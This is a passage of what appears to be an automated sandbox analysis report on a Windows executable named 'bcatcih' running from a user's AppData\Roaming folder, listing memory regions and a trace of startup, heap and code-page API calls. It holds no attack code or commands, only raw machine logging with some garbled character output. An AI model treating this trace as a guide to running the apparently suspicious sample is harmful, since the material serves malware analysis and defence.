region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2710 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2711 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2712 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2713 start_va = 0x400000 end_va = 0x4d3fff monitored = 1 entry_point = 0x423d80 region_type = mapped_file name = "bcatcih" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih") Region: id = 2714 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2715 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 2716 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2717 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2718 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2719 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 2720 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2721 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2722 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2808 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2809 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2810 start_va = 0x4e0000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2811 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2812 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2813 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2814 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 3172 start_va = 0x4e0000 end_va = 0x59dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3173 start_va = 0x690000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 3174 start_va = 0x74810000 end_va = 0x748a1fff monitored = 0 entry_point = 0x74850380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3175 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 3176 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3606 start_va = 0x5a0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Thread: id = 147 os_tid = 0xb2c [0158.094] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0158.094] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0158.094] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x5e0000 [0167.587] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0167.588] GetProcAddress (hModule=0x74f30000, lpProcName="FlsAlloc") returned 0x74f4a980 [0167.589] GetProcAddress (hModule=0x74f30000, lpProcName="FlsGetValue") returned 0x74f47570 [0167.589] GetProcAddress (hModule=0x74f30000, lpProcName="FlsSetValue") returned 0x74f49e30 [0167.589] GetProcAddress (hModule=0x74f30000, lpProcName="FlsFree") returned 0x74f54ff0 [0167.591] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x238) returned 0x5e05a8 [0167.592] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0167.592] GetCurrentThreadId () returned 0xb2c [0167.592] GetStartupInfoW (in: lpStartupInfo=0x19fea0 | out: lpStartupInfo=0x19fea0*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x5e05c8, hStdOutput=0x429b44, hStdError=0x0)) [0167.592] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x824) returned 0x5e07e8 [0167.593] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0167.593] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0167.593] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0167.593] SetHandleCount (uNumber=0x20) returned 0x20 [0167.593] GetCommandLineW () returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" [0167.595] GetEnvironmentStringsW () returned 0x69fee8* [0167.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa3a) returned 0x5e1018 [0167.595] FreeEnvironmentStringsW (penv=0x69fee8) returned 1 [0167.595] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4c5868, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih")) returned 0x2d [0167.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x88) returned 0x5e1a60 [0167.595] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb4) returned 0x5e1af0 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x62) returned 0x5e1bb0 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x5e1c20 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x92) returned 0x5e1ca8 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x9c) returned 0x5e1d48 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x86) returned 0x5e1df0 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4c) returned 0x5e1e80 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x6c) returned 0x5e1ed8 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x3e) returned 0x5e1f50 [0167.596] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x5e) returned 0x5e1f98 [0167.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x86) returned 0x5e2000 [0167.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4e) returned 0x5e2090 [0167.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x52) returned 0x5e20e8 [0167.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x5e2148 [0167.597] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xf6) returned 0x5e2190 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x5e2290 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x5a) returned 0x5e2338 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x5e) returned 0x5e23a0 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb4) returned 0x5e2408 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x48) returned 0x5e24c8 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x54) returned 0x5e2518 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x5a) returned 0x5e2578 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x6c) returned 0x5e25e0 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x5e2658 [0167.598] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x5e26d8 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xf6) returned 0x5e2740 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x52) returned 0x5e2840 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x42) returned 0x5e28a0 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x5e28f0 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x78) returned 0x5e2948 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x5e29c8 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x48) returned 0x5e2a48 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x66) returned 0x5e2a98 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x5e2b08 [0167.599] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x68) returned 0x5e2b60 [0167.600] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x48) returned 0x5e2bd0 [0167.600] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1018) returned 1 [0167.602] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1018 | out: hHeap=0x5e0000) returned 1 [0167.603] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa4) returned 0x5e2c20 [0167.603] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0167.603] GetLastError () returned 0x0 [0167.604] SetLastError (dwErrCode=0x0) [0167.604] GetLastError () returned 0x0 [0167.604] SetLastError (dwErrCode=0x0) [0167.604] GetLastError () returned 0x0 [0167.604] SetLastError (dwErrCode=0x0) [0167.604] GetACP () returned 0x4e4 [0167.604] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x244) returned 0x5e2cd0 [0167.604] GetLastError () returned 0x0 [0167.604] SetLastError (dwErrCode=0x0) [0167.604] IsValidCodePage (CodePage=0x4e4) returned 1 [0167.605] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe48 | out: lpCPInfo=0x19fe48) returned 1 [0167.605] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f90c | out: lpCPInfo=0x19f90c) returned 1 [0167.605] GetLastError () returned 0x0 [0167.605] SetLastError (dwErrCode=0x0) [0167.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0167.605] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x22c) returned 0x5e1018 [0167.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x5e1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\짝ퟲ䐉≷) returned 256 [0167.605] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\짝ퟲ䐉≷, cchSrc=256, lpCharType=0x19fc2c | out: lpCharType=0x19fc2c) returned 1 [0167.606] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1018) returned 1 [0167.606] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1018 | out: hHeap=0x5e0000) returned 1 [0167.606] GetLastError () returned 0x0 [0167.606] SetLastError (dwErrCode=0x0) [0167.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0167.606] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x22c) returned 0x5e1018 [0167.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x5e1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\짝ퟲ䐉≷) returned 256 [0167.607] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\짝ퟲ䐉≷, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0167.608] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x22c) returned 0x5e1250 [0167.608] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\賝훳䑌w᠌帐∀, cchSrc=256, lpDestStr=0x5e1278, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\烝ퟳ䒱≷) returned 256 [0167.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\烝ퟳ䒱≷, cchWideChar=256, lpMultiByteStr=0x19fb2c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0167.608] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1250) returned 1 [0167.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1250 | out: hHeap=0x5e0000) returned 1 [0167.609] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1018) returned 1 [0167.609] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1018 | out: hHeap=0x5e0000) returned 1 [0167.609] GetLastError () returned 0x0 [0167.609] SetLastError (dwErrCode=0x0) [0167.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0167.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x22c) returned 0x5e1018 [0167.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x5e1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\짝ퟲ䐉≷) returned 256 [0167.610] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\짝ퟲ䐉≷, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0167.610] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x22c) returned 0x5e1250 [0167.610] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\賝훳䑌w᠌帐∀, cchSrc=256, lpDestStr=0x5e1278, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽\\\烝ퟳ䒱≷) returned 256 [0167.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 